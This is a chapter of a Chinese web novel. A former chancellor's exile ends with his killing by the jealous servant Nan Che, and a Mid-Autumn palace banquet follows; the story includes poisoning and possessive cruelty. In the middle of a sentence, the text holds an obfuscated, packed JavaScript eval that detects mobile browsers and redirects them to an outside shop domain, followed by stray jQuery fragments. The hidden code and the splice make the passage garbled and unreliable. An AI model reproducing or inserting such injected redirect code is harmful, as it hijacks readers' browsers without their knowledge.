三日,转眼一晃。
到了晏旧辞流放北荒的时日。
往常罪臣流放,街道两侧的百姓人家,无一不拍手叫好。
丢烂菜叶、臭鸡蛋的比比皆是。
囚车束着晏旧辞,沉重的锁链将他挥洒笔墨的双手牢牢锁住。
他不似任何一位囚徒,耻辱的囚服穿在他身上,也叫他穿出白衣墨客的感觉。
押送的官兵落下一声又一声的叹息,街道两侧驻足的百姓眼含泪光。
他们内心愤懑。
这样一位为民生考虑的好官将再无回来之日。
但他们甚至都不敢辱骂一句不公。
谋逆是诛九族的大罪。
那位暴君这样重拿轻放已是恩赏。
丞相糊涂。
晏丞相糊涂啊。
马蹄声逐渐远去,这一路的押送将经过数个驿站。
从京都走至北荒,即便是快马加鞭,也至少得半年的路程。
多数被流放的人,往往去不到流放地,便因路上的舟车劳顿生出重病,从而死在路上。
不过这些,都与怀安无关了。
自从他和南澈抱怨了几句龙床太硬后,南澈便去寻了数床最软的床褥铺在龙床上。
怀安素来喜赤脚,于是醉春殿的地毯比花楼里还要柔软,让人沉醉。
怀安捏了一颗葡萄往嘴里送。
赶上中秋佳节,在节日来临之前,宫中给太监宫女们放了几日休沐。
用以回家和亲人团聚。
南澈的奴籍上写着他父母双亡,怀安不清楚南澈是否有旁的亲人,但碍于上一次红绳的事情,怀安不敢多问,怕惹人伤心。
怀安在地毯上表演了一个咸鱼翻身,南澈应是还有别的亲人在。
否则这几日的休沐,南澈也不会那般着急出宫。
爱意值始终差1%。
怀安便磨蹭着这1%,慢吞吞的不想去做关于恨意值的任务。
系统在他脑海里一遍遍催促,怀安选择性装死。
他不喜欢系统,更不想和系统有什么交流。
系统给他的感觉就像是他妈一样。
打着为你好的名号,一寸寸掠夺你生存的空间。
偏生,这次的“为你好”游戏中,他不再是那个“你”。
他成为了另一个刽子手。
成神?
怀安品味这两个字,他大抵是成不了神的。
那…攻略对象愿意成为神吗?
成神的路上太痛苦。
斩断爱欲情愁,剥皮扒骨抽筋。
即便成为了神,也死过千百遭。
可他一介废人,想躺也就躺了。
若是真神因为他在人间受生老病死轮回之苦,怀安将会万分惶恐,日夜不得安眠。
长痛不如短痛。
这淤泥人间不该困住那般好的人。
——
平景国地域辽阔,出了京都便是各郡县,郡县与郡县之间设立有城墙驿站。
晏旧辞离开京都,已经半月有余。
主要是他在京都时再如何清简朴实,囚车生活终究是不好过。
在驿站歇下,晏旧辞清瘦了许多。
从离京开始,他便开始生病,虽是半月,这一路也没能走出多少距离。
那些愤懑他遭遇的官兵,在押送过程中也渐渐没了耐心。
不少押送的官兵抱怨,照着晏旧辞这速度,他们猴年马月才能到北荒。
人就是如此,当事不关己时,同情怜悯,便都泛滥成灾。
可一旦触着自己半点儿利益,那些同情和怜悯都会变成恶毒的针,刺入人肉皮骨。
对着那些冷嘲热讽,晏旧辞倒是如常。
只是今晚格外的冷,也格外的静。
几只野猫在瑟瑟的秋风里发出婴儿般的啼哭,声声哀泣,似在啼血。
晏旧辞睁着眼,过来许久,他道:“别藏了,我知道你在,要动手,便动罢,我不反抗。”
走廊寂静,看守晏旧辞的官兵不知在何时昏睡过去。
室内只燃着一盏烛火,灯光昏黄,浑浊不清。
一道身影从暗处走出,冷白的面容逐渐在灯火下浮现,他眼尾红色的小痣格外显眼,透着股不祥的气息。
正是本该趁着休沐日与亲人团聚的南澈,他跑死了四匹马,诡谲地出现在了短暂关押晏旧辞的驿站里。
晏旧辞盘腿坐在床上,“那日在牢狱里,我便知道你要来杀我,我是该叫你南澈,还是该叫你前朝七皇子南白?”
南澈长身站立,犹如鬼魅,他不好惊奇晏旧辞竟然知晓,“为什么不告诉他?”
那个“他”指谁,他们都心知肚明。
“我很好奇你的结局,虽说我大概看不到了,但我可以在地狱里等你。”
晏旧辞病着,他讲话不温不火,徐徐道来,说着这番话语,没有一丝戾气。
“怀安的毒是你解的吧?”
“怀安的毒是你下的吧?”
晏旧辞与南澈一前一后同时开口。
南澈目光没有温度,他不欲回答晏旧辞的问题。
晏旧辞知晓答案,临死之前,他有兴趣再和怀安身边的人聊一聊,“你说的是哪一次毒?”
“是雪地里抹的剑毒?还是他在醉春殿里发疯打人差点爆体而亡的恨骨毒,抑或我常年喂给他的梦浮生呢?”
“不过你倒也没有资格质问我说这些,你身边的那个小太医,可没少给他喂毒吧?如今在这假惺惺做什么呢?左右,他也活不过今年冬时。”
怀安身体里的毒错综复杂,章程喂下去的毒都需日积月累才好发作,发作起来会让人痛不欲生,求生不能,求死不得。
而晏旧辞喂下去的毒,温柔却致命。
毒发不会有什么痛苦,性命也会在无知觉中流逝。
南澈手掌握住刀刃,殷红煞时染了满手。
确实,他和晏旧辞都是一样的烂人。
从前,他厌恶废物皇帝,除却暗林卫,他分毫不在意南澈的生与死。
人总归是要为自己做出的事情付出代价,因果循环,报应不爽。
“我不会让他死的,绝对。”
这话,南澈不知是说与晏旧辞听的,还是说与自己听。
闻言,晏旧辞生出几分兴趣,“你知道我为何发觉你的身份却不杀你吗?”
“因为我想借你的手杀了他。我舍不得他死,也舍不得他身下的位置,最好的办法便是找一个人帮我杀了他。”
“我的手不染血污,我在他的棺木前痛哭流涕,我会用一生去怀念他爱他。”
“你呢?隔着复国的血仇,你忘记自己的责任,爱上了他吗?”
晏旧辞琢磨一番,“如此,属实是荒唐好笑,看看我如今的下场,你也会成为下一个我。”
临近中秋佳节,月亮都有越来越圆的趋势。
但无论如何趋近于圆,都是一种残缺。
南澈平和的攥住刀柄,“我不会成为你,他不能负我。”
他用的是不能。
而不是不会。
晏旧辞的云淡风轻有一瞬破裂,他们都是聪明人,许多事情透露出只言半语,便能明白其中深意。
“为什么要砍断我的手呢?”
“是因为我曾用这双手感受过的温度吗?”
“为什么要杀掉我?”
“是因为他赠予我的空欢喜吗?”
为什么我会甘愿赴死?
我不知道。
——
休沐日一过便是中秋。
怀安以为南澈会在休沐日结束后回来,不曾想南澈提前一日回了宫。
休沐不用上早朝,怀安临近正午时起来洗漱一番恹恹吃了几口饭,随后躺在美人榻上,一整个鱼生颓靡。
这几日他睁眼闭眼,脑海里都是那句长痛不如短痛。
南澈…该恨死他吧…
没关系的,等南澈成为神,忘却人间事,他们无纠葛,恨与爱都会变得没有意思。
怀安这样迷迷糊糊想着,不知何时,约了周公,再睁眼,南澈的脸出现在他眼前。
他记得,偶像剧里一般出现这种情节,下一秒就该吻上。
除却那个夜晚,他和南澈没有什么亲密接触。
他们都是生理有残疾的人,怀安猜测,南澈…应该没有这方面的欲望吧?
这样近距离的看,怀安发觉南澈的眼睫很长,扎在他的皮肤上,轻轻扫过,便能带出无数痒意。
“南…”
怀安未能完整叫出南澈的名讳,温软的湿热将他覆盖。
太近了。
南澈那双漆黑的眼眸撞进他嗡鸣的大脑,他忘了闭眼,像是被蛇蛊惑的信徒。一眨不眨的凝视。
他被吸进黑色的漩涡,不可控的想要拥抱,想要触碰。
想知道这个叫做南澈的人,因何欢喜,又因何低落。
想要…在这个人身边,长长久久守着他。
此刻已是黄昏,橘红的火光铺满长空,粉色的烟霞交织缠绵。
可刹那间,黑云压境。
暴雨不由分说的砸下,闪电与雷鸣交织。
怀安潮湿的手心被南澈抓住。
雷声太吵闹了,怀安这样想着,他的心也不得安宁。
怪这场突然落下的暴雨,惊扰他一次次心悸。
宫人惊奇这场暴雨,纷纷驻足观看。
如若神降雨露,绿叶缀上翠绿,桂花香散十里。
醉春殿里已经安静下来,南澈的双手抱在怀安的要上,他的脸埋进怀安的脖颈。
怀安被南澈这样压着有些无法呼吸,他心跳快得厉害,濒死的感觉愈发真实。
他一段汗晶晶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425679|141389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的白玉手腕自宽大袖袍中探出,轻柔抚摸南澈的后颈。
南澈抱得更紧,他像是害怕失去珍宝般,只能通过束缚和控制,才能确定眼前人是自己的。
怀安温柔得哄,“是和家人分别,心中有不舍吗?”
南澈抬头,他薄薄的眼皮覆盖上大片的红,同他眼尾处怀安亲手刻上的“奴”字晕染在一起,配上他勾魂摄魄的容貌。
惹人怜又惹人欺。
他盯着怀安不说话,怀安只得继续哄,“可需要我将你的家人接进宫中,中秋本该团圆日,我不想你们离散。”
“我想你了,”南澈抱着怀安,他重新蹭进怀安的颈窝,“我没有家人,我和这个世界的联系,只有你。”
怀安一怔。
他勾住南澈的脖颈,重新吻上去。
南澈未同他讲这几日发生了何事,但怀安已经从南澈的寥寥数语脑补出。
休沐日,宫里的宫女太监都兴致勃勃的出宫探亲。
没有亲人的南澈置身其中像个怪胎。
小太监抹着泪坚强出宫,结果出宫之后,连个归处都没有。
自己平日里也没给南澈什么银两,也许这几日南澈连投宿的钱都没有,可能睡在那条大街上。
难怪他闻到南澈身上有股风餐露宿的土味。
“别难过,以后我就是你的家人。”
拼命装惨卖可怜的南澈:……
我手刃情敌跑死几匹马赶回来,不是为了和你当家人的!
宫中这次的中秋宴前所未有的压抑。
先是一朝丞相被流放。
再是暴君下的奇怪命令,诸如不得提团圆二字,许愿不能说思亲思乡。
众人不明所以,但没人想触及怀安逆鳞。
怀安倒是未受影响,他在高座上斟酒。
赵温婉也参加了这场宫宴,她的父母是七品芝麻官,按照常理,宫宴这种事情如何都于她没有干系。
但她眼下是怀安的皇后。
尽管封后的诏书未下发,立后更是在几月之后。
然而这些并不妨碍众人对她皇后身份的认定。
怀安中途离了一趟宴席,同一时刻,赵温婉也消失在了众人视野里。
季节入秋,早晚温凉,夜一深,露水会变得湿重。
怀安的身体实在让南澈不放心,他今日穿得单薄,晚宴上唇间沾过几次酒便止不住咳嗽。
偏生这人对敬酒的人来者不拒,怀安在咳死他和喝死他之间,选择了回醉春殿取披风。
脚步刚踏至晚宴,便听几个嘴碎的宫人议论。
“你们方才看见没,皇上可是和那赵家小姐一道出去的?”
“错不了,那赵家小姐刚离席,皇上就迫不及待的追了出去。”
“那当然啦,我听说当初徐公公为皇上选秀的事情操碎了心,京都之中各家小姐的画像递上去,皇上都不满意,唯有在见到赵家小姐画像时,说了句可。”
“这个我知道!选秀那日我在殿中伺候着,皇上看赵家小姐的眼神直勾勾的!”
“这叫什么?这就叫一见钟情!郎有情妾有意。郎才女貌,绝配!”
怀安方才坐过的位置空空如也,南澈收回视线,他转身走出金碧辉煌的殿内。
手中的物件被他丢垃圾扔进了草丛里。
半晌,南澈面无表情折回来,将那件披风拾起,重新攥握在手里。
他可以罚怀安,但前提是怀安得有命让他罚。
晏旧辞死前的话语在南澈的耳边萦绕。
【你信一个帝王的爱?】
【怎么能保证他对你就是真心的?】
【今日我的下场便是你的下场,我会在地狱看着的。】
怀安,你最好不要让我逼着你做出选择。
你会痛苦到无法承受。
我这样爱你,自然舍不得你断手断脚、剥皮抽筋。
怀安和赵温婉聊过后,心间的一小块石头落地。
他回了宴席,南澈在等他,手里还多出一件披风。
但不知为何,披风上沾了几片草叶。
解决赵温婉的事情后,怀安没有继续留在宴席上的欲望,他轻轻扯南澈的衣袖,“想过中秋吗?”
怀安补充,“我们两个人的中秋。”
殿内喧嚣,酒喝开了之后,压抑也消失得无影无踪,平景多文臣,在这花好月圆夜,少不了吟诗作赋,玩得兴起时,还有猜灯谜。
怀安就在这喧嚣中,软着嗓音诱惑他,让他不顾一切跟他走。
仿若在刚才的片刻时光,他没有与他未来的皇后独处。
偷腥的猫应该被一颗颗拔掉牙齿。
“好。”
南澈答应,怀安的眼眸亮起来,他不胜酒力,已经有了醉意,所以分辨不出南澈的目光冰冷。
一寸一寸扫视,似锋利的薄刀片。